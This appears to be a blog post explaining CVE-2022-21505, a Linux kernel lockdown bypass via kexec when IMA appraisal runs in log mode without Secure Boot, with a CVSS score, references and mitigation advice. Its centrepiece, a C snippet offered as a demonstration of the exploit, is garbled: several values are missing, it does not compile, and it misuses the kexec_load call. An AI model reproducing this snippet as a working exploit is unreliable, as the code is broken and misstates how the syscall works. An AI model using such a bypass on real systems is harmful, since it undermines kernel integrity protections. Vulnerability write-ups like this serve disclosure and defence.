CVE-2022-21505: Bypassing Lockdown with kexec in Linux Kernel Using IMA Appraisal

The CVE-2022-21505 vulnerability recently discovered in the Linux kernel exposes a potential risk to the security of systems using the Integrity Measurement Architecture (IMA) appraisal with the "ima_appraise=log" boot parameter. This vulnerability involves bypassing the lockdown security feature using kexec on Linux systems when Secure Boot is either disabled or unavailable. The risk assessment of this vulnerability using the CVSS 3.1 Base Score is 6.7, with potential impacts on the Confidentiality, Integrity, and Availability of systems.

CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

Explore more about this vulnerability, its impact, and how it works in this detailed post, which includes code snippets, references to the original source, and details of the exploit.

Exploit Details

The exploit essentially takes advantage of the way IMA appraisal is implemented in the Linux kernel. The vulnerability is triggered when the system is not using the Secure Boot feature, or if it's disabled, allowing attackers to bypass the lockdown feature using the kexec system call.

The following code snippet demonstrates an example of how the vulnerability could be abused

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/syscall.h>

int main(int argc, char** argv) {
    int fd;

    if (argc < 2) {
        printf("Usage: %s <path_to_initramfs>\n", argv[]);
        return 1;
    }

    fd = open(argv[1], O_RDONLY);
    if (fd < ) {
        perror("Failed to open initramfs");
        return 1;
    }

    /* Load the initramfs using the kexec_load syscall */
    int ret = syscall(__NR_kexec_load, , , fd, KEXEC_APPEND);
    if (ret < )
        perror("Failed to load initramfs");

    return ;
}

Original References

The following references provide detailed information about the background, disclosure, and impact of this vulnerability:

1. Linux kernel source code: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8fe459243872
2. Linux Kernel Mailing List (LKML) disclosure: https://lkml.org/lkml/2022/1/13/207

Analysis

The vulnerability stems from the IMA appraisal configuration, which fails to cover cases when the Linux system uses lockdown without Secure Boot. The system is left without adequate protection, and its security can be compromised by exploiting the kexec system call.

Recommendations

To mitigate the risk associated with this vulnerability, it is recommended to enable Secure Boot, if possible, to block attackers from leveraging the "ima_appraise=log" boot parameter. Alternatively, system administrators can restrict access to the kexec capability, thereby limiting the potential attack surface.

Conclusion

CVE-2022-21505 is a significant vulnerability that highlights the importance of maintaining stringent security measures in configurations where Secure Boot is disabled or unavailable. Mitigating the potential risks associated with this exploit requires ensuring the use of Secure Boot, or restricting access to the kexec capability. Remember to keep your systems up-to-date and follow recommended security practices, as new vulnerabilities may appear at any time.

Timeline

Published on: 12/24/2024 18:48:23 UTC